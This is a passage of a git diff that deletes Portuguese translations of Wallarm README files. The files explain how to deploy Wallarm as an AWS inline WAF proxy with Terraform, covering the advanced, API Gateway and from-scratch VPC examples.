arquivo `variables.tf` em `examples/advanced` do repositório clonado e salve suas alterações. -6. Configure o protocolo e o endereço do servidor que será feito proxy em `proxy_pass` dentro de `examples/advanced/main.tf`. - - Por padrão, Wallarm faz proxy do tráfego para `https://httpbin.org`. Se o valor padrão atender às suas necessidades, deixe-o como está. -7. Execute os seguintes comandos no diretório `examples/advanced` para implantar a pilha: - - ``` - terraform init - terraform apply - ``` - -Para remover o ambiente implantado, use o seguinte comando: - -``` -terraform destroy -``` - -## Referências - -* [Anexar um balanceador de carga ao Auto Scaling Group da AWS](https://docs.aws.amazon.com/autoscaling/ec2/userguide/attach-load-balancer-asg.html) -* [VPC da AWS com sub-redes públicas e privadas (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) -* [Documentação da Wallarm](https://docs.wallarm.com) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/advanced/README.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/advanced/README.md deleted file mode 100644 index a57fcd68f6..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/advanced/README.md +++ /dev/null @@ -1,89 +0,0 @@ -# Exemplo de implantação do Módulo Terraform AWS Wallarm: solução avançada de proxy - -Este exemplo demonstra como implantar o Wallarm como um proxy inline com configurações avançadas em uma Virtual Private Cloud (VPC) da AWS existente, usando o módulo Terraform. É muito semelhante à [implantação de proxy simples](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy), mas com algumas opções de configuração avançadas frequentes demonstradas. - -Para um começo mais fácil com este exemplo, dê uma olhada primeiro no [exemplo de proxy simples](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy). - -A solução avançada de proxy Wallarm (bem como um proxy simples) fornece uma camada de rede funcional adicional que atua como um roteador avançado de tráfego HTTP com as funções de segurança WAF e API. - -## Principais características - -A solução avançada de proxy difere da simples da seguinte maneira: - -* A solução não cria nenhum balanceador de carga (`lb_enabled=false`), mas ainda cria um grupo de destino que você pode anexar posteriormente a um balanceador de carga existente. - - Isso pode ajudar a mudar para a abordagem de processamento de tráfego síncrono de maneira transparente. -* A configuração do NGINX e Wallarm é especificada não apenas nas variáveis padrão, mas também nos trechos de código `global_snippet`, `http_snippet` e `server_snippet` do NGINX. -* Uma vez que o script de inicialização do nó Wallarm (cloud-init) esteja concluído, o script personalizado `post-cloud-init.sh` colocará a página de índice HTML personalizada no diretório da instância `/var/www/mysite/index.html`. -* A pilha implantada está associada à política extra do IAM da AWS que permite o acesso somente leitura à AWS S3. - - Se usar este exemplo "como está", o acesso fornecido não será necessário. No entanto, o arquivo `post-cloud-init.sh` contém um exemplo inativo de solicitação de arquivos da AWS S3 que geralmente requer acesso especial. Se você ativar o código S3 do arquivo `post-cloud-init.sh`, precisará especificar as políticas de acesso IAM da AWS S3 na variável `extra_policies`. -* A solução permite conexões de entrada para instâncias Wallarm a partir da porta de rede interna extra, 7777. Isso é configurado com a variável `extra_ports` e `http_snippet.conf`. - - Para permitir a porta 7777 para `0.0.0.0/0`, você pode usar a variável `extra_public_ports` (opcionalmente). -* O nó Wallarm processa o tráfego no modo de bloqueio. - -## Arquitetura da solução - -![Esquema de proxy Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -O exemplo avançado de solução de proxy Wallarm tem os seguintes componentes: - -* Grupo-alvo anexado ao grupo de Auto Scaling sem balanceador de carga. -* Instâncias de nó Wallarm analisando o tráfego, bloqueando solicitações maliciosas e fazendo proxy de solicitações legítimas posteriores. - - O exemplo executa os nós Wallarm no modo de bloqueio que resulta no comportamento descrito. Os nós Wallarm também podem operar em outros modos, incluindo aqueles focados apenas no monitoramento de tráfego, sem o bloqueio de solicitações maliciosas. Para saber mais sobre os modos de nó Wallarm, use [nossa documentação](https://docs.wallarm.com/admin-en/configure-wallarm-mode/). -* Os nós Wallarm fazem proxy do tráfego para `https://httpbin.org`. - - Durante o lançamento deste exemplo, você poderá especificar qualquer outro domínio ou caminho de serviço disponível na Virtual Private Cloud (VPC) da AWS para fazer o proxy de tráfego. - -Todos os componentes listados (exceto para o servidor proxied) serão implantados pelo módulo de exemplo `wallarm` fornecido. - -## Componentes do código - -Este exemplo possui os seguintes componentes de código: - -* `main.tf`: a configuração principal do módulo `wallarm` a ser implantado como uma solução avançada de proxy. -* `global_snippet.conf`: exemplo de uma configuração personalizada do NGINX a ser adicionada à configuração global do NGINX usando a variável `global_snippet`. A configuração montada pode incluir diretivas como `load_module`, `stream`, `mail` ou `env`. -* `http_snippet.conf`: configuração personalizada do NGINX a ser adicionada ao contexto `http` do NGINX usando a variável `http_snippet`. A configuração montada pode incluir diretivas como `map` ou `server`. -* `server_snippet.conf`: configuração personalizada do NGINX a ser adicionada ao contexto `server` do NGINX usando a variável `server_snippet`. A configuração montada pode introduzir a lógica `if` do NGINX e as configurações `location` necessárias. - - Esta configuração de trecho será aplicada apenas à porta 80. Para abrir outra porta, especifique a diretiva `server` correspondente em `http_snippet`. - - No arquivo `server_snippet.conf`, você também encontrará um exemplo de configuração mais complicado. -* `post-cloud-init.sh`: o script personalizado que coloca a página de índice HTML personalizada no diretório da instância `/var/www/mysite/index.html`. O script será executado após a inicialização do nó Wallarm (o script cloud-init). - - No arquivo `post-cloud-init.sh`, você também encontrará os comandos de exemplo para colocar o conteúdo do AWS S3 no diretório da instância. Se usar esta opção, não se esqueça de especificar a política de acesso ao S3 na variável `extra_policies`. - -## Executando o exemplo da solução proxy AWS Wallarm - -1. Inscreva-se no Console Wallarm na [Nuvem EU](https://my.wallarm.com/nodes) ou [Nuvem US](https://us1.my.wallarm.com/nodes). -1. Abra o Console Wallarm → **Nós** e crie o nó do tipo **Nó Wallarm**. -1. Copie o token do nó gerado. -1. Clone o repositório que contém o código de exemplo para sua máquina: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Defina os valores das variáveis nas opções `default` no arquivo `variables.tf` da pasta `examples/advanced` do repositório clonado e salve as alterações. -1. Defina o protocolo e o endereço do servidor proxied em `examples/advanced/main.tf` → `proxy_pass`. - - Por padrão, o Wallarm fará proxy do tráfego para `https://httpbin.org`. Se o valor padrão atender às suas necessidades, deixe-o como está. -1. Implante a pilha executando os seguintes comandos no diretório `examples/advanced`: - - ``` - terraform init - terraform apply - ``` - -Para remover o ambiente implantado, use o seguinte comando: - -``` -terraform destroy -``` - -## Referências - -* [Anexando um balanceador de carga AWS a um grupo de Auto Scaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/attach-load-balancer-asg.html) -* [VPC da AWS com sub-redes públicas e privadas (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) -* [Documentação Wallarm](https://docs.wallarm.com) diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/apigateway/README.ja.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/apigateway/README.ja.md deleted file mode 100644 index 59522c0b97..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/apigateway/README.ja.md +++ /dev/null @@ -1,114 +0,0 @@ -# Implementando o Wallarm como um Proxy para Amazon API Gateway - -Neste exemplo, mostramos como usar o [módulo Terraform] (https://registry.terraform.io/modules/wallarm/wallarm/aws/) para implantar o Wallarm como um proxy em linha na AWS Virtual Private Cloud (VPC), protegendo assim o [Amazon API Gateway] (https://aws.amazon.com/api-gateway/). - -A solução de proxy do Wallarm oferece uma camada de rede adicional, funcionando como um roteador de tráfego HTTP avançado com recursos de WAF e segurança de API. Ele permite rotear solicitações para quase todos os tipos de serviço, incluindo Amazon API Gateway, sem restrições em sua funcionalidade. - -## Principais Características - -* O Wallarm processa o tráfego no modo de sincronização, que permite a mitigação de ameaças em tempo real, sem limitar as funcionalidades do Wallarm (`preset=proxy`). -* A solução Wallarm é implantada como uma camada de rede separada, que pode ser controlada independentemente do API Gateway. - -## Arquitetura da Solução - -![Esquema de Proxy Wallarm] (https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy-for-aws-api-gateway.png?raw=true) - -A solução de proxy Wallarm ilustrada inclui os seguintes componentes: - -* Um balanceador de carga de aplicativo com acesso à Internet que roteia o tráfego para as instâncias de nó do Wallarm. -* Instâncias de nó do Wallarm que analisam o tráfego e canalizam todas as solicitações para o API Gateway. - - Nesse exemplo, O nó Wallarm é executado em modo de monitoramento para processar o comportamento descrito. Ele também pode operar em outros modos, destinados a bloquear solicitações mal-intencionadas e encaminhar apenas solicitações legítimas. Para mais detalhes sobre os modos do nó Wallarm, por favor consulte a [documentação] (https://docs.wallarm.com/admin-en/configure-wallarm-mode/). -* O API Gateway para o qual o nó Wallarm direciona as solicitações. O API Gateway tem as seguintes configurações: - - * O caminho `/demo/demo` é atribuído. - * Uma única simulação é definida. - * Durante a implantação deste módulo Terraform, é possível escolher o tipo de endpoint "regional" ou "privado" do [API Gateway] (https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-api-endpoint-types.html). Detalhes sobre esses tipos e sobre transições entre eles são fornecidos abaixo. - - Tenha em mente que o exemplo fornecido implementa um API Gateway normal da Amazon, portanto, seu comportamento não é afetado pelo nó Wallarm. - -Todos os componentes listados são implantados pelo módulo de exemplo `wallarm`. - -## Componentes de Código - -Este exemplo inclui os seguintes componentes de código: - -* `main.tf`: Configuração principal do módulo `wallarm` que é implantado como uma solução de proxy. A configuração gera AWS ALB e instâncias Wallarm. -* `apigw.tf`: Configuração que gera o Amazon API Gateway, acessível no caminho `/demo/demo`. Uma simulação única está configurada. Durante a implantação do módulo, também é possível escolher entre tipos de endpoint "regionais" e "privados" (consulte os detalhes abaixo). -* `endpoint.tf`: Configuração do AWS VPC Endpoint. É destinado ao tipo "privado" do endpoint API Gateway. - -## Diferenças entre os Tipos de Endpoints "Regional" e "Privado" da API Gateway - -A variável `apigw_private` define o tipo de endpoint da API Gateway: - -* Com a opção "regional", as instâncias do nó Wallarm enviam solicitações para o serviço `execute-api` do API Gateway disponível publicamente. -* Com a opção "privada", as solicitações são enviadas para um Endpoint AWS VPC conectado ao serviço `execute-api`. **Para implantações de produção, a opção "privada" é recomendada.** - -### Outras Opções para Restringir o Acesso à API Gateway - -A Amazon permite que você restrinja o acesso ao API Gateway, independentemente do tipo do endpoint "privado" ou "regional", como abaixo: - -* Use [políticas de recursos](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html) para limitar o acesso a qualquer um dos dois tipos de endpoints. -* Se o tipo de endpoint for "privado", gerencie o acesso ao [IP de origem] (https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html). -* Se o tipo de endpoint for "privado", o que implica que o API Gateway é projetado para ser inacessível a partir de uma rede pública, gerencie o acesso por [VPC e/ou Endpoints] (https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html). - -### Transições Entre os Tipos de Endpoints da API Gateway - -Você pode alterar o tipo de endpoint da API Gateway sem recriar os componentes, mas observe as seguintes considerações: - -* Quando você altera o tipo de "regional" para "privado", o endpoint público se torna privado e, portanto, inacessível a partir de recursos públicos. Isso se aplica tanto ao endpoint `execute-api` quanto aos nomes de domínio. -* Ao alterar de "privado" para "regional", o endpoint AWS VPC direcionado à API Gateway é desassociado imediatamente, tornando a API Gateway indisponível. -* Como a versão de comunidade do NGINX não detecta automaticamente alterações nos nomes de DNS, a alteração do tipo de endpoint deve ser seguida por um reinício manual do NGINX nas instâncias a partir dos nós Wallarm. - - Você pode reiniciar ou recriar as instâncias, ou executar `nginx -s reload` em cada instância. - -Ao alterar o tipo de endpoint de "regional" para "privado": - -1. Crie um endpoint da AWS VPC e conecte-o ao `execute-api`. Um exemplo está no arquivo de configuração `endpoint.tf`. -1. Mude o tipo do endpoint da API Gateway, especificando o endpoint da AWS VPC na configuração da API Gateway. Quando essa operação for concluída, o fluxo de tráfego será interrompido. -1. Execute `nginx -s reload` em cada instância do nó Wallarm ou simplesmente recrie cada nó do Wallarm. Quando essa operação for concluída, o fluxo de tráfego será retomado. - -Alterar o tipo de endpoint de "privado" para "regional" geralmente não é recomendado, mas para fazê-lo: - -1. Delete o endpoint necessário no modo "privado" que você opera e então altere o endpoint da API Gateway para "regional". -1. Execute `nginx -s reload` em cada instância do nó Wallarm ou simplesmente recrie cada nó do Wallarm. Quando essa operação for concluída, o fluxo de tráfego será retomado. - -**Em ambiente de produção, é recomendado mudar a API Gateway para "privado"**. Caso contrário, o tráfego do nó Wallarm para a API Gateway seria enviado pela rede pública, incorrendo em cobranças adicionais. - -## Pré-requisitos - -* Terraform 1.0.5 ou superior instalado localmente ([download aqui] (https://learn.hashicorp.com/tutorials/terraform/install-cli)) -* Acesso à conta com função de **Administrador** Wallarm Console ([nuvem da UE] (https://my.wallarm.com/) ou nuvem dos [EUA] (https://us1.my.wallarm.com/)) -* Acesso a `https://api.wallarm.com` se estiver trabalhando na nuvem Wallarm da UE, e acesso a `https://us1.api.wallarm.com` se estiver trabalhando na nuvem Wallarm dos EUA. Certifique-se de que seu firewall não está bloqueando o acesso. - -## Exemplo de Execução da Solução de Proxy Wallarm AWS para API Gateway - -1. Inscreva-se no Wallarm Console [nuvem da UE] (https://my.wallarm.com/nodes) ou [nuvem dos EUA] (https://us1.my.wallarm.com/nodes). -1. Abra Wallarm Console → **Nós** e crie um nó do tipo **Nó Wallarm**. -1. Copie o token do nó gerado. -1. Duplicar o repositório contendo o código de exemplo para sua máquina: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Defina os valores das variáveis no padrão dentro do arquivo `variables.tf` no repositório duplicado em `examples/apigateway` e salve as alterações. -1. Execute os seguintes comandos para implantar a pilha a partir do diretório `examples/apigateway`: - - ``` - terraform init - terraform apply - ``` - -Para remover o ambiente implantado, use o seguinte comando: - -``` -terraform destroy -``` - -## Referências - -* [AWS VPC com sub-redes públicas e privadas (NAT)] (https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) -* [APIs privadas do API Gateway] (https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-private-apis.html) -* [Políticas do API Gateway] (https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html) -* [Exemplos de políticas do API Gateway] (https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html) -* [Tipos de API Gateway] (https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-api-endpoint-types.html) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/apigateway/README.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/apigateway/README.md deleted file mode 100644 index 43f79923b3..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/apigateway/README.md +++ /dev/null @@ -1,116 +0,0 @@ -# Implantando o Wallarm como Proxy para Amazon API Gateway - -Este exemplo demonstra como proteger [Amazon API Gateway](https://aws.amazon.com/api-gateway/) com Wallarm implantado como proxy inline para AWS Virtual Private Cloud (VPC) usando o [módulo Terraform](https://registry.terraform.io/modules/wallarm/wallarm/aws/). - -A solução de proxy Wallarm fornece uma camada de rede funcional adicional atuando como um roteador de tráfego HTTP avançado com as funções de segurança WAF e API. Ele pode rotear solicitações para quase qualquer tipo de serviço, incluindo Amazon API Gateway, sem limitar suas capacidades. - -## Casos de uso - -Entre todas as [opções de implantação do Wallarm suportadas](https://docs.wallarm.com/installation/supported-deployment-options), o módulo Terraform é recomendado para a implantação do Wallarm no AWS VPC nestes **casos de uso**: - -* Sua infraestrutura existente reside na AWS. -* Você aproveita a prática de Infraestrutura como Código (IaC). O módulo Terraform do Wallarm permite o gerenciamento e provisionamento automatizado do nó Wallarm na AWS, aprimorando a eficiência e consistência. - -## Requisitos - -* Terraform 1.0.5 ou superior [instalado localmente](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* Acesso à conta com a função de **Administrador** [role](https://docs.wallarm.com/user-guides/settings/users/#user-roles) no Console Wallarm no [Cloud](https://docs.wallarm.com/about-wallarm/overview/#cloud) dos EUA ou da UE -* Acesso a `https://us1.api.wallarm.com` se trabalhando com Wallarm Cloud dos EUA ou para `https://api.wallarm.com` se estiver trabalhando com Wallarm Cloud da UE. Certifique-se de que o acesso não está bloqueado por um firewall - -## Arquitetura da solução - -![Esquema do proxy Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy-for-aws-api-gateway.png?raw=true) - -A solução de proxy Wallarm de exemplo tem os seguintes componentes: - -* Application Load Balancer voltado para a internet roteando tráfego para as instâncias de nó Wallarm. -* Instâncias de nó Wallarm analisando o tráfego e fazendo proxy de quaisquer solicitações para API Gateway. - - O exemplo executa os nós Wallarm no modo de monitoramento que direciona o comportamento descrito. Os nós Wallarm também podem operar em outros modos, incluindo aqueles destinados a bloquear solicitações maliciosas e encaminhar apenas aquelas legítimas ainda. Para saber mais sobre os modos de nó do Wallarm, use [nossa documentação](https://docs.wallarm.com/admin-en/configure-wallarm-mode/). -* API Gateway para o qual os nós Wallarm fazem proxy das solicitações. O API Gateway tem as seguintes configurações: - - * O caminho `/demo/demo` atribuído. - * Um único mock configurado. - * Durante esta implantação do módulo Terraform, você pode escolher entre o tipo de endpoint "regional" ou "privado" [para o API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-api-endpoint-types.html). Mais detalhes sobre esses tipos e a migração entre eles são fornecidas abaixo. - - Observe que o exemplo fornecido implanta um Amazon API Gateway regular, portanto, sua operação não será afetada pelos nós Wallarm. - -Todos os componentes listados, incluindo o API Gateway, serão implantados pelo módulo de exemplo `wallarm` fornecido. - -## Componentes do código - -Este exemplo tem os seguintes componentes de código: - -* `main.tf`: a configuração principal do módulo `wallarm` a ser implantado como uma solução de proxy. A configuração produz um AWS ALB e instâncias Wallarm. -* `apigw.tf`: a configuração que produz o Amazon API Gateway acessível sob o caminho `/demo/demo` com uma única integração de mock configurada. Durante a implantação do módulo, você também pode escolher entre o tipo de ponto de extremidade "regional" ou "privado" (veja detalhes abaixo). -* `endpoint.tf`: a configuração do ponto de extremidade AWS VPC para o tipo "privado" do ponto de extremidade do API Gateway. - -## Diferença entre os terminais "regional" e "privado" da API Gateway - -A variável `apigw_private` define o tipo de endpoint da API Gateway: - -* Com a opção "regional", as instâncias de nó Wallarm enviarão solicitações para o serviço [`execute-api`](https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-call-api.html) do API Gateway disponível ao público. -* Com a opção "privada" - para os pontos finais do AWS VPC anexados ao serviço `execute-api`. **Para implantação de produção, a opção "privada" é a recomendada.** - -### Mais opções para restringir o acesso ao API Gateway - -A Amazon também permite que você restrinja o acesso ao seu API Gateway, independentemente do tipo de endpoint "privado" ou "regional", da seguinte maneira: - -* Usando [políticas de recursos](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html) com qualquer um dos dois tipos de extremidades especificados. -* Gerenciando o acesso por [IPs de origem](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html), se o tipo de endpoint for "privado". -* Gerenciando o acesso por [VPC e/ou Endpoint](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html), se o tipo de endpoint for "privado" que já pressupõe que o API Gateway esteja indisponível a partir de redes públicas por design. - -### Migração entre os tipos de endpoint do API Gateway - -Você pode alterar o tipo de endpoint do API Gateway sem recriar o componente, mas considere o seguinte: - -* Uma vez que o tipo é alterado de "regional" para "privado", os endpoints públicos se tornarão privados e, portanto, indisponíveis a partir de recursos públicos. Isso se aplica tanto aos endpoints `execute-api` quanto aos nomes de domínio. -* Uma vez que o tipo é alterado de "privado" para "regional", os terminais VPC AWS direcionados ao seu API Gateway serão imediatamente dissociados, e o API Gateway ficará indisponível. -* Como o NGINX da versão da comunidade não pode detectar automaticamente mudanças no nome do DNS, o tipo de endpoint alterado deve ser seguido pelo reinício manual do NGINX nas instâncias do nó Wallarm. - - Você pode reiniciar, recriar instâncias ou executar `nginx -s reload` em cada instância. - -Se estiver alterando o tipo de endpoint de "regional" para "privado": - -1. Crie o endpoint AWS VPC e anexe-o a `execute-api`. Você encontrará o exemplo no arquivo de configuração `endpoint.tf`. -1. Mude o tipo de endpoint da API Gateway e especifique o endpoint AWS VPC na configuração da API Gateway. Uma vez concluído, o fluxo de tráfego será interrompido. -1. Execute `nginx -s reload` em cada instância do nó Wallarm ou simplesmente recrie cada nó Wallarm. Uma vez concluído, o fluxo de tráfego será restaurado. - -Não é recomendado alterar o tipo de endpoint de "privado" para "regional", mas se você fizer isso: - -1. Remova o endpoint necessário para rodar no modo "privado" e somente então mude o endpoint da API Gateway para "regional". -1. Execute `nginx -s reload` em cada instância do nó Wallarm ou simplesmente recrie cada nó Wallarm. Uma vez concluído, o fluxo de tráfego será restaurado. - -**Para a produção, é recomendado mudar seu API Gateway para "privado"**, caso contrário, o tráfego dos nós Wallarm para o API Gateway passará pela rede pública e poderá gerar encargos adicionais. - -## Executando a solução de proxy Wallarm AWS de exemplo para API Gateway - -1. Inscreva-se no Console Wallarm no [Cloud da UE](https://my.wallarm.com/nodes) ou [Cloud dos EUA](https://us1.my.wallarm.com/nodes). -1. Abra o Console Wallarm → **Nós** e crie o nó do tipo **Nó Wallarm**. -1. Copie o token de nó gerado. -1. Clone o repositório contendo o código de exemplo em sua máquina: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Defina os valores da variável nas opções `default` no arquivo `examples/apigateway/variables.tf` do repositório clonado e salve as alterações. -1. Implante a pilha executando os seguintes comandos do diretório `examples/apigateway`: - - ``` - terraform init - terraform apply - ``` - -Para remover o ambiente implantado, use o seguinte comando: - -``` -terraform destroy -``` - -## Referências - -* [AWS VPC com sub-redes públicas e privadas (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) -* [APIs privadas do API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-private-apis.html) -* [Políticas do API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html) -* [Exemplos de Políticas do API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html) -* [Tipos de API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-api-endpoint-types.html) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/from-scratch/README.ja.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/from-scratch/README.ja.md deleted file mode 100644 index 0f9045ed9c..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/from-scratch/README.ja.md +++ /dev/null @@ -1,79 +0,0 @@ - # Exemplos de implantação do módulo Wallarm AWS Terraform: solução de proxy do zero - -Este exemplo demonstra como implantar o Wallarm na AWS Virtual Private Cloud (VPC) como um proxy inline usando o módulo Terraform. Em contraste com os exemplos de implantação de proxy [normal](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy) ou [avançado](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced), este exemplo de configuração cria recursos de VPC diretamente durante a implantação usando o [módulo AWS VPC Terraform](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws/). Por isso, esse exemplo é chamado de exemplo de "solução de proxy do zero". - -Aqui estão as opções de implantação **recomendadas**: - -* Quando os recursos da VPC, como sub-redes, NAT, tabela de roteamento e outros, não estão configurados. Neste exemplo de implantação, o módulo [AWS VPC Terraform](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws/) é lançado em conjunto com o módulo Terraform Wallarm para criar recursos da VPC e integrá-los ao Wallarm. -* Quando você deseja aprender como o módulo Wallarm é integrado à AWS VPC e quais recursos da VPC e variáveis de módulo são necessários para esta integração. - -## Principais características - -* O Wallarm processa o tráfego em modo de sincronização, permitindo a mitigação de ameaças imediatas sem comprometer os recursos do Wallarm (`preset=proxy`). -* O Wallarm é implementado como uma camada de rede independente que pode ser controlada independentemente de outras camadas e pode ser colocada em praticamente qualquer posição na estrutura da rede. A posição recomendada está atrás do balanceador de carga voltado para a Internet. -* Esta solução não requer a configuração de recursos de DNS e SSL. -* Cria recursos da VPC e integra automaticamente o proxy inline do Wallarm à VPC criada, enquanto, por outro lado, o exemplo de proxy normal requer a existência de recursos da VPC e a solicitação de seus identificadores. -* A única variável necessária para executar este exemplo é o `token` com o token do nó Wallarm. - -## Arquitetura da solução - -![Esquema do proxy Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -A solução neste exemplo tem a mesma arquitetura que a [solução de proxy normal](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy): - -* Recursos da AWS VPC como sub-redes, NAT, tabela de roteamento, EIP, etc., são automaticamente implantados durante a inicialização deste exemplo pelo módulo [`vpc`](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws/). Eles não são exibidos no esquema fornecido. -* Balanceador de carga de aplicativo voltado para a Internet que direciona o tráfego para as instâncias do nó Wallarm. Este componente é implantado pelo módulo de exemplo `wallarm` fornecido. -* Instâncias do nó Wallarm que analisam o tráfego e fazem proxy de todas as solicitações. Os elementos correspondentes no esquema são as instâncias EC2 A, B e C. Este componente é implantado pelo módulo de exemplo `wallarm` fornecido. - - No exemplo, os nós Wallarm operam no modo de monitoramento que conduz o comportamento descrito. Os nós Wallarm também podem operar em outros modos, incluindo um destinado a bloquear solicitações maliciosas e enviar somente solicitações legítimas. Para mais detalhes sobre os modos de nó Wallarm, consulte nossa [documentação](https://docs.wallarm.com/admin-en/configure-wallarm-mode/). -* Serviço para o qual o nó Wallarm faz proxy das solicitações. O serviço pode ser de qualquer tipo. Por exemplo: - - * Aplicativo AWS API Gateway conectado à VPC por meio de um endpoint da VPC (um exemplo correspondente de implantação Terraform do Wallarm é abordado no [exemplo do API Gateway](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/apigateway)) - * AWS S3 - * Nó EKS executando em um cluster EKS (para este caso, é recomendada a configuração do Internal Load Balancer ou do NodePort Service) - * Outros serviços de back-end arbitrários - - Por padrão, o nó Wallarm encaminha o tráfego para `https://httpbin.org`. Durante a inicialização deste exemplo, você pode especificar qualquer outro domínio ou caminho de serviço disponível a partir da AWS Virtual Private Cloud (VPC) para ser o destino do tráfego de proxy. - -## Componentes do código - -Este exemplo possui um único arquivo de configuração `main.tf` com as configurações dos módulos a seguir: - -* Configuração do módulo [`vpc`](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws/) para criar os recursos da AWS VPC. -* Módulo `wallarm` com a configuração do Wallarm para ser implantado como uma solução de proxy que gera o AWS ALB e as instâncias Wallarm. - -## Pré-requisitos - -* Terraform 1.0.5 ou superior [instalado localmente](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* Acesso a uma conta com a função de **administrador** no console do Wallarm. [Nuvem EU](https://my.wallarm.com/) ou [Nuvem US](https://us1.my.wallarm.com/) -* Verifique se o acesso a `https://api.wallarm.com` (se estiver usando a Nuvem Wallarm EU) ou `https://us1.api.wallarm.com` (se estiver usando a Nuvem Wallarm US) está disponível e não está bloqueado pelo firewall. - -## Executando o exemplo da solução de proxy AWS Wallarm - -1. Faça login no console Wallarm [Nuvem EU](https://my.wallarm.com/nodes) ou [Nuvem US](https://us1.my.wallarm.com/nodes). -1. Abra Wallarm Console → **Nodes** e crie um nó do tipo **Wallarm node**. -1. Copie o token do nó gerado. -1. Clone o repositório contendo o código do exemplo para sua máquina: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. No arquivo `variables.tf` no repositório clonado em `examples/from-scratch`, defina os valores das variáveis do `default` e salve as alterações. -1. Execute os seguintes comandos a partir do diretório `examples/from-scratch` para implantar a stack: - - ``` - terraform init - terraform apply - ``` - -Para destruir o ambiente implantado, use o seguinte comando: - -``` -terraform destroy -``` - -## Referências - -* [Documentação Wallarm](https://docs.wallarm.com) -* [Módulo Terraform que cria os recursos da VPC na AWS](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws/) -* [AWS VPC com sub-redes públicas e privadas (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/from-scratch/README.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/from-scratch/README.md deleted file mode 100644 index 630ff43c36..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/from-scratch/README.md +++ /dev/null @@ -1,79 +0,0 @@ -# Exemplo de implantação do Módulo Terraform AWS Wallarm: solução de proxy do zero - -Este exemplo demonstra como implantar o Wallarm como um proxy inline em uma Nuvem Privada Virtual AWS (VPC) usando o módulo Terraform. Em contraste com os exemplos de implantação de proxy [regular](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy) ou [avançado](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced), essa configuração de exemplo criará recursos da VPC diretamente durante esta implantação de exemplo usando o [módulo Terraform AWS VPC](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws/). É por isso que o exemplo é chamado de "solução de proxy do zero". - -Esta é a opção de implantação **recomendada** se: - -* Você não possui sub-redes, NATs, tabelas de roteamento e outros recursos da 